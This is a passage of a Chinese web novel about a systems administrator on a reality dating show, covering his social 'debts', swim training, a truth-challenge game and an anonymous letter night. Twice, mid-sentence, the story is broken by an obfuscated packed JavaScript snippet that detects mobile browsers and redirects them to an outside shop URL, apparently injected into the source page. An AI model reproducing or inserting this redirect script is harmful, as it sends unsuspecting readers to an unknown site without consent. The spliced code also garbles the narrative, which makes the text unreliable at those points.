手机震动,是林薇的消息:“专家明天回北京。他说手术很成功,后续康复按方案来就行。” 陈末回复:“谢谢。欠你一次。” “不用记。” 但他已经记下了。在情感负债表里,林薇的条目越来越长。 楚曦又发来消息:“今天加练了吗?没有吧?欠我一次。” 苏小雨:“蛋羹升级版成功了!(图片)” 秦澜:“律师联系过了,他说随时可以咨询。” 王烁:“花收到了吗?希望伯母喜欢。” 所有人的消息,所有人的关心,所有人的……期待。 陈末感觉像在管理一个超载的系统——每个进程都在请求资源,每个服务都要保证可用性,每个依赖都要妥善处理。 而他的CPU使用率,已经到临界值了。 晚上九点,母亲睡着了。陈末在陪护床上躺下,却睡不着。 他打开手机,开始记账——不是钱,是人情债。 林薇:专家+30万+技术支持 秦澜:职业机会+律师资源 楚曦:体能训练+精神支持 苏小雨:情感关注+(可能失败的)病号餐 王烁:表面友好+暗中打压 节目组:高薪+支持+但需要他维持热度 他盯着这个列表。在运维里,这叫“依赖关系图”。当依赖太复杂、太深时,系统会变得脆弱。任何一个节点故障,都可能引发雪崩。 他需要简化。 但怎么简化? 拒绝所有人的好意?那会伤害真心帮助他的人。 接受所有人的好意?那会欠下还不清的人情。 或者……找到一种方式,把所有关系都转化为清晰的商业合作?像秦澜的提案那样,明码标价,权利义务清晰。 但林薇的“投资”不是商业。楚曦的“加练”不是商业。苏小雨的“蛋羹”更不是。 陈末闭上眼睛。 太难了。比调优一个分布式系统难一百倍。 至少系统有日志,有监控,有明确的错误码。 但人心没有。 人心只有模糊的信号,矛盾的数据,不可预测的行为。 而他现在,就深陷在这个最复杂的系统里。 试图用技术的思维, 解决人的问题。 窗外,夜色深沉。 医院的走廊里,护士的脚步声规律地响起,又远去。 像某种心跳。 提醒着: 系统还在运行。 问题还没解决。 而他, 必须继续寻找答案。 在一个没有标准答案的世界里。 28. 庆功宴后的阳台夜话 晚上八点,陈末回到海岛别墅时,迎接他的是一个装饰着“欢迎回家”彩带的玄关,和六张真诚的笑脸——至少看起来真诚。 “陈末老师!”苏小雨第一个冲过来,手里捧着一碗……勉强能辨认出是蒸蛋羹的东西,“欢迎回来!阿姨手术顺利吗?” “顺利。”陈末接过蛋羹,碗底还温着,“谢谢。” “我做的!”苏小雨眼睛亮晶晶的,“这次没烧厨房!” 楚曦拍拍陈末的肩:“可以啊,挺过来了。明天早上游泳补上,欠我两次了。” 秦澜点头:“气色还行。律师名片收好了?” “收好了。” 林薇站在人群后面,只是微微点头。但陈末注意到,她看他的眼神比平时多了一些东西——不是同情,更像是……确认。 王烁笑容完美:“辛苦了。节目组准备了简单的欢迎晚宴,就当庆祝伯母手术成功。” 刘导从餐厅探出头:“来来来,饭菜要凉了!” 晚餐确实很丰盛,但气氛有点微妙。大家轮流说祝福的话,陈末机械地道谢。他感觉自己像在运行一个预设的社交脚本——输入祝福,输出感谢,处理完成。 “陈末老师,”苏小雨小声问,“阿姨还要住院多久呀?” “一周左右,看恢复情况。” “那……我能去医院看她吗?我可以带蛋羹去!” “等她好一点再说。”陈末说。 楚曦插话:“小雨,你这蛋羹技术还需要再练练。刚才我尝了一口,盐放多了。” “啊?真的吗?”苏小雨赶紧尝了一口自己的,“唔……好像是有点……” 秦澜推了推眼镜:“术后饮食要严格控制钠摄入。建议参考临床营养指南。” 王烁笑着打圆场:“心意最重要。陈末,小雨这几天可努力了,天天在厨房练习。” “我知道。”陈末说,“谢谢。” 他端起水杯喝了一口,发现林薇在看他。两人目光接触一秒,林薇先移开了。 晚餐后,刘导宣布:“明天恢复录制。今晚大家好好休息。” 众人散去。陈末回到房间,关上门,背靠着门板深吸一口气。 从医院的消毒水气味,到海岛的咸湿空气;从监护仪的嘀嗒声,到窗外的海浪声;从母亲的病床,到这张日薪一百万才换来的豪华大床。 认知失调。他的大脑在处理两种完全不同的现实模型。 手机震动,是医院的护工发来消息:“陈先生,您母亲情况稳定,已入睡。” 他回复:“收到,辛苦了。” 然后他打开银行APP,看着余额——五十五万手术费支出后,还剩下……等等,节目组预支的二十万,林薇转的三十万,他自己的存款……数字有点乱。 他新建了一个Excel表格,开始记账: 【资金流水】 收入: 节目组预支:200,000 林薇借款:300,000 个人存款:8,327.58(原始) 合计:508,327.58 支出: 手术保证金:200,000 手术费+专家费:350,000(预估) 合计:550,000 差额:-41,672.42 负数。他还欠四万多。 等等,日薪一百万……算了,先不算那个。 他保存表格,走到阳台。海风很大,吹得他衬衫猎猎作响。远处灯塔的光规律地旋转,每十二秒一次。 “睡不着?” 林薇的声音从隔壁阳台传来。她的房间就在隔壁,两个阳台之间只隔了一米多的距离。 “嗯。”陈末转头。 林薇也站在阳台上,穿着深蓝色的丝绸睡袍,头发披散着,手里拿着一杯水。月光下,她的轮廓有些模糊。 “手术后遗症?”她问。 “什么?” “从高压环境回到常态,会有不适应。”林薇说,“在剧组,拍完重场戏的晚上,我也经常睡不着。” 陈末想了想:“有点像系统从高负载切换到空闲状态,需要时间释放缓存。” 林薇笑了:“你又开始了。” “但很准确。” 两人沉默地站了一会儿。海浪声很大,几乎盖过其他声音。 “今天的热搜,”林薇忽然说,“我看了。” “嗯。” “王烁送的花,我也看到了。” 陈末看向她:“你觉得他什么目的?” “示好,或者……标记。”林薇说,“告诉你‘我知道,我关心’,同时也在告诉别人‘我和陈末关系不错’。” “表面功夫。” “但有用。”林薇喝了口水,“在这个圈子,表面功夫就是通行证。” 陈末没说话。他不太擅长表面功夫。 “手术顺利,是好事。”林薇说,“接下来只要康复顺利,你就少了一个牵挂。” “但多了一堆人情债。”陈末说。 林薇转头看他,月光照在她侧脸上:“你还在算那个?” “习惯。”陈末说,“系统需要清楚所有依赖关系。” “那人呢?”林薇问,“人也要算得那么清楚吗?” 陈末思考这个问题。在他的模型里,人际关系也是一种依赖关系——情感依赖、资源依赖、信任依赖。当然要算清楚。 “要算。”他说,“不然会出现未处理的债务,影响系统稳定性。” “那我的‘债务’,你打算怎么还?”林薇问得很直接。 陈末语塞。他还没想好。 “不用想了。”林薇说,“我投资,是因为我认为你有价值。投资有风险,我接受。你不用想着还,只要继续有价值就行。” “这不符合会计准则。”陈末说。 “我不是会计。”林薇说,“我是……投资人。” 她走到阳台边缘,手扶着栏杆:“陈末,你知道我为什么愿意投资你吗?” “因为我有‘系统思维’?” “不全是。”林薇说,“是因为你让我看到了另一种可能性——一个人可以完全按自己的逻辑生活,不被外界干扰,不被规则绑架。即使那个逻辑在别人看来很奇怪。” 她停顿了一下:“这对我来说,很珍贵。” 陈末不太理解。他的生活方式有什么珍贵的?不就是解决问题,算清账目,保持稳定吗? “你在剧组,”他问,“不能按自己的逻辑生活吗?” “不能。”林薇摇头,“剧组是一个精密机器,每个齿轮都要严丝合缝。演员是其中一个重要零件,但依然是零件。零件不能有自己的想法,只能按照设计运转。” “但你是有思想的。” “所以会痛苦。”林薇说,“知道自己是有思想的零件,但还是要扮演没有思想的零件。久了,就分不清哪个是真实的自己。” 陈末想起她在迷宫里说“交出控制权反而自由”。那时候她扮演的是“听话的零件”,但那是她自己选择的。 “你需要的不是重构,”陈末忽然说,“是权限提升。” 林薇转头看他:“什么意思?” “在系统里,不同角色有不同的权限。普通用户只能使用基础功能,管理员可以修改配置,超级用户可以重写内核。”陈末解释,“你现在是‘重要零件’,但想拥有‘架构师’的权限。这不是重构,是权限升级。” 林薇眼睛微微睁大。她显然没从这个角度想过。 “怎么升级?”她问。 “证明你有架构能力。”陈末说,“比如,下次拍戏,你可以要求参与剧本讨论、角色设计、甚至导演决策。前提是……你要有足够的筹码。” “什么筹码?” “票房号召力,行业口碑,人际关系,或者……”陈末想了想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990789|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“独特的价值。比如你刚才说的,投资我的那种眼光。” 林薇沉默了。她看着海面,月光在海面上铺出一条碎银般的路。 “陈末,”她轻声说,“有时候我觉得,你比我更懂怎么在这个世界生存。” “我只是懂系统逻辑。” “但世界就是一个大系统。”林薇说,“只是规则更复杂,更隐晦。” 陈末没否认。他确实在尝试用系统思维理解世界,虽然经常失败。 “你明天要回录制了。”林薇换了个话题,“准备好面对王烁了吗?” “没什么好准备的。”陈末说,“见招拆招。” “他可能会更直接。”林薇说,“你母亲手术成功,他少了一个攻击点。可能会在其他方面发力。” “比如?” “比如你和我的关系。”林薇说得很平静,“比如你和苏小雨的互动。比如……你的合同。” 提到合同,陈末心里一紧。日薪一百万的事,王烁知道吗? “你觉得他知道吗?”他问。 “不确定。”林薇说,“但以他团队的能力,应该有所猜测。毕竟你的热度摆在那里,节目组不可能按普通素人标准付钱。” “那他会怎么做?” “两种可能。”林薇分析,“第一,曝光,制造‘天价片酬’争议,说你虚伪——明明拿高薪还装作为钱发愁。第二,利用这个信息和你谈判——比如要求你配合他炒CP,或者在其他方面让步。” 陈末皱眉。这两个选项都不好。 “建议?”他问。 “保持现状。”林薇说,“不承认,不否认。如果被问到,就说合同保密。重点还是……做你自己。只要你足够真实,观众会相信你。” “即使我日薪一百万?” “即使你日薪一百万。”林薇点头,“因为你的‘真实’不是建立在收入水平上,而是建立在行为一致性上。你从一开始就说‘为钱而来’,没说‘为穷而来’。逻辑自洽。” 陈末觉得有道理。他确实没说谎,只是信息不完整。 “谢谢。”他说。 “不客气。”林薇看看时间,“该休息了。明天还要录节目。” “嗯。” 林薇转身要回房间,又停住:“对了,那本书……能再借我几天吗?” “哪本?” “《人月神话》。”林薇说,“第七章我还没看完。” “可以。” “晚安。” “晚安。” 林薇回房间了。陈末还站在阳台上。 海风依然很大,但他觉得清醒了一些。 林薇刚才的话,像是一种……系统诊断报告。分析现状,指出风险,给出建议。 专业,冷静,有帮助。 而且她没要求回报。 这种关系,在他的依赖关系图里,属于哪一类? 不是纯粹的商业合作,不是简单的人情债,也不是工作关系。 更像……战略同盟。 两个在不同战线上的人,因为某些共同利益和价值观,建立的临时协作关系。 这个定义,让他感觉舒服一点。 至少是可管理的。 他回到房间,躺在床上。 手机又震动,是秦澜:“考虑得如何?” 他回复:“还在考虑。明天给答复。” 然后是楚曦:“明天早上七点,泳池,别忘。” 苏小雨:“陈末老师晚安!明天见!” 王烁:“好好休息,明天见。” 刘导:“陈末老师,明天录制主题是‘真心话挑战’,做好准备。” 所有人的消息,像系统日志一样刷屏。 陈末闭上眼睛。 开始整理内存。 释放缓存。 准备迎接, 明天的, 新一轮, 负载测试。 29. 楚曦的“体能训练计划” 早晨六点五十五分,陈末站在泳池边时,楚曦已经游完两千米了。 她浮出水面,抹了把脸,看见陈末穿着那身不太合身的泳装,挑眉:“你还真来了。我以为你会找借口。” “答应的事要做到。”陈末说。他昨晚睡前算了账:从七点到八点游泳训练,一小时。按日薪一百万算就是四万一千六百六十六点六七元。虽然现在知道真实报酬了,但习惯性计算改不过来。 “先热身。”楚曦上岸,开始做一套复杂的动态拉伸。陈末跟着做,动作笨拙。 “你母亲怎么样了?”楚曦一边拉伸一边问。 “稳定,在恢复。” “那就好。”楚曦点头,“接下来几天是关键期,你压力会很大。所以——”她拍拍手,“今天我们加强训练。压力需要释放。” 陈末有种不祥的预感:“怎么加强?” “先游一千米热身。”楚曦说,“然后我教你转身技巧,再游一千米。最后是专项力量训练。” 一千米。陈末估算自己的极限:目前能连续游两百米不淹死。一千米可能需要中间休息五次。 “开始吧。”楚曦跳进水里,“跟着我,注意节奏。” 接下来的四十分钟,陈末经历了人生中最漫长的游泳课。楚曦像个铁血教练,每次他停下来喘气,她就喊:“还有五十米!坚持!”每次他动作变形,她就游过来纠正:“手腕放松!呼吸保持节奏!” 游到八百米时,陈末感觉肺要炸了。但他脑子里还在算:已经游了三十五分钟,时薪四万一千多,每分钟约六百九十四元。所以刚才那三十五分钟,他“赚了”两万四千二百九十元。 这个念头让他又多游了五十米。 “可以了。”楚曦终于说,“上岸休息。” 陈末扒着池边喘气,心率手表显示:172次/分。楚曦的心率:128次/分。物种差异。 “你体力不行。”楚曦坐在池边,双腿在水里轻轻摆动,“但意志力还可以。刚才我以为你七百米就要放弃了。” “计算转移注意力。”陈末实话实说。 “算钱?” “算时间和成本。” 楚曦笑了:“你真是……一刻都停不下来。”她递过一瓶运动饮料,“喝点。接下来练转身。” 转身训练比游泳还难。陈末每次都在触壁、转身、蹬壁这三个动作的衔接上出问题——要么转身太慢,要么蹬壁角度不对,要么换气节奏被打乱。 “你太想控制每一个细节了。”楚曦观察了几次后说,“游泳是身体记忆,不是大脑计算。放松,让身体自己找感觉。” 陈末尝试“放松”,结果一头撞在池壁上。 楚曦笑出声:“也不用这么放松。” 第三次尝试时,陈末终于完成了一个勉强合格的转身。楚曦鼓掌:“进步了!现在你知道为什么运动员需要重复训练了吧?有些技能光靠理解不够,需要肌肉记忆。” 陈末喘着气点头。他懂这个道理——运维里也有类似情况。有些故障处理流程,看文档十遍不如实际操作一遍。 “好了,最后一千米。”楚曦看看时间,“七点四十五了,抓紧。” “还游?”陈末感觉腿在抖。 “不然怎么叫加强训练?”楚曦跳进水里,“这次我游慢点,你跟紧。” 最后这一千米,陈末完全是靠意志力撑下来的。他脑子里不再算钱,而是在想其他事:母亲的康复计划,秦澜的提案,王烁的威胁,林薇的“投资”,苏小雨的蛋羹……各种思绪像弹幕一样飘过。 奇怪的是,当身体极度疲惫时,大脑反而清晰了。那些困扰他的问题,似乎在水中变得简单。 ——母亲的康复:按医生方案执行,每周复查,调整。 ——秦澜的提案:接受,但要求三个月试用期,双向选择。 ——王烁的威胁:保持警惕,收集证据,必要时反击。 ——林薇的“投资”:继续合作,但明确边界。 ——苏小雨的蛋羹:鼓励,但建议报名烹饪课。 所有决策,在体力耗尽的瞬间,都有了答案。 八点零三分,一千米结束。陈末扒着池边,连上岸的力气都没了。 楚曦把他拉上来:“可以啊,真撑下来了。”她扔过来一条毛巾,“去冲澡,然后吃早饭。你今天消耗至少八百大卡,需要补充。” 冲澡时,陈末计算:八百大卡,相当于……算了,不重要。重要的是,刚才那一小时,他确实“释放了压力”。 早餐时,楚曦坐在陈末对面,盘子里堆满了蛋白质——鸡蛋、鸡胸肉、牛奶。陈末只要了粥和鸡蛋。 “吃这么少?”楚曦皱眉,“你刚消耗那么大。” “胃不太舒服。”陈末说。其实是累的。 苏小雨端着盘子过来,看见陈末湿漉漉的头发:“陈末老师早上又去游泳啦?” “嗯。”陈末说,“楚曦教练很严格。” “楚曦姐是专业运动员嘛。”苏小雨在陈末旁边坐下,“对了,我今天又试了新菜谱!鱼片粥!比蛋羹还难……” 楚曦笑:“小雨,你这是要在烹饪界出道啊。” “我想帮陈末老师嘛!”苏小雨认真地说,“阿姨术后需要营养,外面买的哪有自己做的好?” 林薇这时走进餐厅,看见陈末的座位配置——左边苏小雨,对面楚曦——脚步顿了一下。她选了稍远的位置,安静地吃早餐。 王烁和秦澜一起进来。王烁看见陈末,笑容加深:“陈末,早上好。听说你一大早就在训练,真勤奋。” “楚曦督促的。”陈末说。 秦澜推了推眼镜:“适度的运动对压力管理有益。”她看向陈末,“关于提案,考虑好了吗?” “考虑好了。”陈末说,“我接受,但希望有三个月的试用期。双向评估。” 秦澜点头:“合理。合同我今晚发你。” 王烁眼神闪烁了一下,但没说话。 早餐后,节目组召集大家开会。刘导宣布今天的安排:“上午自由活动,下午两点开始‘真心话挑战’。这次挑战比较特别——不是问答形式,而是情景模拟。大家需要根据抽到的角色和情境,做出真实反应。” 苏小雨举手:“什么情境呀?” “暂时保密。”刘导神秘一笑,“但可以透露的是,会考验各位在压力下的真实性格。” 散会后,楚曦拉住陈末:“上午有什么安排?” “处理工作,然后看母亲的检查报告。”陈末说。 “行,那下午见。”楚曦拍拍他的肩,“记住,压力大的时候就运动。身体累了,脑子就轻松了。” 陈末回到房间,先处理了几个工作邮件,然后打开医院的APP查看母亲的今日检查数据。各项指标正常,恢复进度符合预期。 他给护工发了条消息:“今天可以开始简单的床边活动,按康复计划第一节。” 护工回复:“收到,已安排。” 刚放下手机,敲门声响起。开门,是楚曦——她又来了。 “还有事?”陈末问。 “给你个东西。”楚曦递过来一个U盘,“这是我以前的训练计划,还有营养方案。你参考一下,给自己定个计划。身体是革命的本钱。” 陈末接过U盘:“谢谢。” “不客气。”楚曦靠在门框上,“陈末,有句话我想说。” “嗯?” “你帮所有人解决问题——帮小雨修平板,帮林薇分析问题,帮王烁提建议,帮节目组创造热度。”楚曦看着他,“但谁来解决你的问题?” 陈末愣了一下。他没想过这个问题。 “我看得出来,你压力很大。”楚曦继续说,“母亲生病,节目压力,人际关系……你一直在扛。但人不是机器,扛久了会坏。” “我在处理。”陈末说。 “我知道你在处理。”楚曦点头,“但处理问题不等于解决问题。有时候,你需要把问题分出去一点。” “分给谁?” “比如我。”楚曦说得很自然,“你那些技术问题我帮不上,但体力问题,生活问题,情绪问题……我可以。以后你的问题,我帮你用体力解决。” 陈末看着她。楚曦的表情很认真,不像开玩笑。 “为什么帮我?”他问。 “两个原因。”楚曦竖起两根手指,“第一,我看你顺眼。你真实,不装,虽然有点怪但怪得有意思。第二……”她顿了顿,“我喜欢帮助值得帮助的人。你值得。” 这个回答很楚曦风格——直接,简单,不绕弯子。 “谢谢。”陈末说。 “不客气。”楚曦转身要走,又回头,“对了,下午的真心话挑战……王烁可能会针对你。小心点。” “你知道什么?” “不知道具体。”楚曦说,“但他昨晚和经纪人打电话,我路过时听到几句。好像在说什么‘合同’、‘证据’、‘时机’。” 陈末心里一紧。合同?王烁找到什么证据了? “我会注意。”他说。 “需要帮忙就说。”楚曦说,“外面的事我管不了,但在这里,我罩你。” 她说完就走了,留下陈末站在门口,手里握着那个U盘。 楚曦的“罩你”,和林薇的“投资”,秦澜的“合作”,苏小雨的“照顾”……都不一样。 更直接,更简单,更……物理。 像一道防护墙,不解决根本问题,但能挡掉一些伤害。 陈末把U盘插进电脑,里面果然是一套完整的训练计划,分初级、中级、高级三个阶段,还有配套的营养方案和恢复建议。文档里甚至有一些楚曦的手写笔记:“注意膝盖保暖”、“这个动作对腰椎压力大,慎做”、“多补充维生素B族”。 很用心。 他保存文档,然后打开那个决策模型,新增一条: 楚曦:体能支持+情绪支持+防护承诺(定义:物理层面支持,边界清晰,无附加条件) 现在他的“依赖关系图”越来越复杂了。 但奇怪的是,这次他没有感到压力,反而觉得……安全了一点。 就像分布式系统里多了一个冗余节点,虽然不能提升性能,但增加了可用性。 下午一点五十,陈末提前到任务室。其他人还没到,只有工作人员在调试设备。 他看见王烁的座位上放着一个公文包——之前没见过。包没完全拉上,露出一角文件,上面有“保密协议”几个字。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990790|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈末移开目光,坐到自己的位置。 两点整,所有人到齐。刘导宣布规则:“每个人会抽到一个角色卡和一个情境卡。需要根据角色设定,在情境中做出真实反应。其他嘉宾可以提问,但被提问者必须诚实回答。注意——不是扮演角色,而是‘如果你是这个人,在这个情境下,会怎么做’。” 苏小雨抽到第一个:“我抽到的是……‘幼儿园老师’,情境是‘班上有两个孩子打架,一个是你最喜欢的孩子,一个是经常惹事的孩子’。” 她思考了几秒:“我会先拉开他们,然后问清楚原因。如果是喜欢的孩子先动手,我也会批评他。要公平。” 很标准的回答。大家点头。 接下来是秦澜:“‘项目经理’,情境是‘团队核心成员突然辞职,项目deadline临近’。” 秦澜推了推眼镜:“首先评估影响,制定应急计划。然后联系HR紧急招聘,同时调整任务分配。最后复盘,为什么核心成员会突然辞职,是管理问题还是个人问题。” 专业,冷静。典型的秦澜风格。 楚曦:“‘消防员’,‘火场里只能救一个人,一个是你认识的邻居,一个是不认识的孩子’。” 她几乎没思考:“救孩子。邻居我会愧疚,但孩子有更长的人生。” 很楚曦——直接,道德明确。 林薇:“‘法官’,‘审理一桩案件,被告是你多年好友’。” 她沉默了很久:“申请回避。如果无法回避……依法判决。友谊不能凌驾法律。” 很理性,但陈末注意到她说这话时手指微微收紧。 王烁:“‘明星’,‘被狗仔拍到和异性朋友深夜吃饭,其实只是在讨论工作’。” 他笑了:“先和团队商量公关策略。然后……可能不会直接否认,也不会承认,用模糊回应引导舆论。毕竟,有时候真相不重要,观众相信的真相才重要。” 很娱乐圈的回答。陈末想起刘导说过类似的话。 最后是陈末。他抽到的角色是:“系统管理员”。情境是:“服务器突然宕机,排查发现是某个资深同事的错误操作导致。该同事即将退休,这次错误可能影响他的退休金。” 任务室里安静下来。所有人都看向陈末。 陈末思考。这个问题……太贴切了。 “首先恢复服务。”他说,“这是第一优先级。然后记录事故,分析根因,形成报告。关于同事的部分……”他停顿了一下,“错误操作是事实,需要记录。但可以在报告里说明该同事的历史贡献,以及这次错误是否属于偶发。最终处理由HR决定,我只提供客观数据。” “不包庇?”王烁问。 “包庇会埋下隐患。”陈末说,“系统里,掩盖一个错误可能导致更多错误。而且对其他遵守规则的同事不公平。” “但同事可能因此损失退休金。”林薇说。 “那是规则的结果。”陈末说,“我可以建议公司在规则允许范围内给予其他补偿,但不能修改规则本身。” 秦澜点头:“很系统思维。” 楚曦笑:“果然是你的风格。” 苏小雨小声说:“感觉有点冷酷……” “不是冷酷。”陈末解释,“是职责。系统管理员要对系统负责,不是对个人负责。” 王烁看着他,眼神深了深:“所以在你看来,规则高于人情?” “在系统运维领域,是的。”陈末说,“因为系统需要确定性。人情是变量,变量太多系统会失控。” “那在生活中呢?”王烁追问,“生活中也是规则高于人情吗?” 问题很尖锐。陈末想了想:“生活中……需要平衡。但平衡不是无原则妥协,而是在明确底线的基础上灵活处理。” “你的底线是什么?” 陈末看着王烁:“不作恶,不撒谎,不伤害无辜的人。” 王烁笑了,笑容有点复杂:“很清晰的底线。” 真心话挑战继续,但陈末感觉王烁的问题越来越有针对性。关于合同,关于报酬,关于他和林薇的关系,关于母亲的病情…… 每个问题都踩在边界上,既不过线,又能试探出信息。 陈末一一回应,保持简洁,不透露多余信息。 挑战结束时,他感觉比早上游泳还累。 散场后,王烁走到他身边:“陈末,你的回答很专业。不愧是系统思维。” “谢谢。”陈末说。 “不过……”王烁压低声音,“有时候太坚守规则,可能会错过一些机会。这个世界,灰色地带比黑白地带大。” “我知道。”陈末说,“但我选择待在黑白地带。简单,省心。” 王烁看着他,最后点头:“理解。祝你……一直能这样简单。” 他走了。陈末站在原地,回味那句话——“一直能这样简单”。 是祝福,还是……威胁? 他不知道。 但他知道,无论王烁在谋划什么, 他都要守住自己的底线。 守住那个, 让他能“按自己的设计运行”的, 简单世界。 即使那个世界, 正在变得越来越复杂。 30. 风暴前的宁静 晚上八点,别墅客厅被重新布置过了。长桌撤走了,换成了一圈舒适的沙发。中央摆着一个精致的木箱,箱盖上刻着“心声”两个字。灯光调得很暗,每张沙发旁只亮着一盏小夜灯,营造出某种……暧昧又紧张的氛围。 刘导站在木箱旁,表情庄重得像是主持某种仪式:“各位老师,今晚是《心动的岛屿》开播以来的‘中期表白夜’。规则很简单:每个人匿名写一封信,投进这个箱子。信可以写给任何一位你想表达的嘉宾,内容不限,但必须是真心话。” 苏小雨眼睛亮晶晶的:“就是说……可以表白?” “可以表达任何情感。”刘导纠正,“欣赏、感谢、好奇、甚至困惑。重要的是真实。” 秦澜推了推眼镜:“匿名如何保证?” “我们准备了特制的信纸和信封,统一笔迹要求——用打印体书写。投递时,工作人员会暂时关闭所有摄像机。只有收信人会知道信的内容,但不会知道是谁写的。” 楚曦挑眉:“那如果想知道呢?” “那是收信人的权利。”刘导说,“可以选择私下询问,也可以永远保持神秘。” 林薇安静地坐在角落的沙发里,手里端着水杯,眼神平静。 王烁笑容完美:“很有意思的安排。” 陈末在想:这个环节的工时怎么算?从八点到……未知结束时间。按日薪一百万,每小时四万一千六百六十六点六七元。他决定从八点算到十点,八万三千三百三十三点三四元。 “现在给大家一小时时间写。”刘导说,“九点开始投递。十点公布收信情况。” 六人各自回房间。陈末坐在书桌前,看着节目组提供的特制信纸——米白色,质感很好,印着海浪的暗纹。旁边还有一支黑色签字笔。 写给谁? 他第一个想到林薇。欠她三十万,欠她专家资源,欠她……很多信任。该写什么?感谢?太单薄。承诺还款?太生硬。表达欣赏?太模糊。 然后想到苏小雨。那个半夜学做饭烧厨房的姑娘,那个眼里总是有光的偶像。该写什么?鼓励继续学烹饪?感谢关心? 楚曦。直率的运动员,说“以后你的问题我帮你用体力解决”。该写什么?感谢训练?约定下次游泳? 秦澜。理性的制片人,提供职业机会和律师资源。该写什么?确认合作意向?表达感谢? 王烁……算了。 陈末拿起笔,又放下。他忽然意识到一个问题:如果只能写一封信,选谁都会让其他人感到……被忽视。但规则没说只能写一封。 他重新看规则说明:“每个人匿名写一封信”——没说数量。理论上可以写五封。 但那样会不会显得……海王? 他打开手机,想查一下类似综艺的历史案例,但想起房间里可能有监控,放弃了。 最后他决定:写两封。一封给林薇,表达感谢和承诺。一封给所有女嘉宾,表达整体感谢——这样可以避免厚此薄彼。 给林薇的信,他写得很简洁: “感谢所有支持。债务会还,承诺有效。你的‘投资’很明智。陈末。” 给所有人的信,他斟酌了很久: “感谢各位在节目中的关照。无论是技术支持、体能训练、烹饪教学还是职业建议,都让我学到很多。希望接下来的日子继续合作愉快。一个努力不宕机的系统管理员。” 打印体书写。他检查了两遍,装进信封,封好。信封上只写收信人名字——林薇那封写“林薇”,另一封写“致所有女嘉宾”。 九点整,大家重新聚集在客厅。木箱已经放在中央,旁边站着两个工作人员——负责确认投递时关闭摄像机。 投递顺序抽签决定。陈末抽到第三个。 第一个是苏小雨。她拿着一个粉色的信封——节目组提供多种颜色信封可选——蹦蹦跳跳地跑过去,把信投进箱子。投完还双手合十默念了什么。 第二个是楚曦。她拿着白色信封,大步走过去,“咚”一声投进去,转身就走,动作利落。 轮到陈末。他拿着两个信封——林薇的用深蓝色信封,另一封用白色——走到木箱前。工作人员确认摄像机已关闭。他先投了深蓝色信封,停顿一秒,又投了白色信封。 “两封?”工作人员小声问。 “嗯。”陈末点头。 后面的人陆续投递。秦澜投了一封,表情平静。林薇投了一封——用的是和陈末一样的深蓝色信封。王烁也投了一封,投完后还对着箱子微笑了一下,像在拍画报。 九点三十,投递结束。刘导宣布:“现在开始分发信件。叫到名字的嘉宾,请上前领取你的信。” 第一个被叫到的是王烁。他走上前,从刘导手里接过……一封信。 只有一封。 王烁的笑容僵了零点五秒,但很快恢复:“谢谢。”他拿着信回到座位,没有立刻打开。 第二个是陈末。他走上前,刘导从箱子里拿出……三封信。 三封。 陈末接过。信封颜色分别是:粉色、白色、深蓝色。粉色显然是苏小雨的风格,白色可能是楚曦或秦澜,深蓝色……林薇也用深蓝色。 他回到座位,把信放在腿上。能感觉到其他人的目光——好奇的、期待的、观察的。 接下来是女嘉宾们。苏小雨收到两封——粉色和白色。她眼睛一下子就亮了。楚曦收到一封——白色。秦澜收到一封——白色。林薇收到……两封——深蓝色和白色。 所有人的收信情况: 陈末:3封 林薇:2封 苏小雨:2封 楚曦:1封 秦澜:1封 王烁:1封 数据很明显。陈末是收信最多的男嘉宾,王烁是最少的。女嘉宾中,林薇和苏小雨并列第一。 客厅里的气氛微妙起来。王烁依然保持着微笑,但陈末注意到,他把那封信捏得有点紧。 “现在,各位可以回房间阅读信件。”刘导说,“信件内容完全保密,是否分享由各位自己决定。明天见。” 大家各自散去。陈末拿着三封信回房间,关门,反锁。 他先打开粉色信封——果然是苏小雨的风格。信纸上画着小星星和爱心,字迹虽然是打印体,但内容明显是她的语气: “陈末老师,谢谢你总是帮我修东西,教我清理平板,还有在迷宫里那么厉害!我知道我笨手笨脚的,但我会继续努力的!希望阿姨早日康复,希望……希望以后还能吃到你修的东西(虽然好像不太对)!总之,加油!” 结尾处还画了一个笑脸。 陈末放下信。苏小雨的直白和真诚,像一杯高糖分的饮料——甜得有点齁,但能快速补充能量。 第二封,白色信封。拆开,内容很简洁: “体能是基础。保持训练,保持状态。需要陪练随时开口。另:你的系统思维很有趣,可以多分享。” 这风格……楚曦和秦澜都有可能。但“陪练”这个词更偏向楚曦。可能是她。 第三封,深蓝色信封。陈末停顿了一下才拆开。信纸上是同样简洁的内容: “第七章看完了。‘没有银弹’理论在剧组管理中也适用。你的‘权限升级’建议很有价值。期待下次讨论。投资继续有效。” 林薇。肯定是她。只有她会引用《人月神话》,会用“投资”这个词。 陈末把三封信并排放在桌上。三种不同的情感表达方式:苏小雨的可爱直白,楚曦(?)的务实支持,林薇的理性共鸣。 他该有什么感觉?高兴?荣幸?压力? 他打开手机备忘录,新建一条记录: 【中期表白夜收信分析】 苏小雨:情感支持型,高情感负载,低理解成本 楚曦(?):实用支持型,中等情感负载,清晰边界 林薇:理性共鸣型,低情感负载,高认知价值 写完,他看着这个分析。还是技术思维。但也许……这就是他的处理方式。 这时,手机震动。是刘导的消息:“陈末老师,方便来监控室一趟吗?紧急情况。” 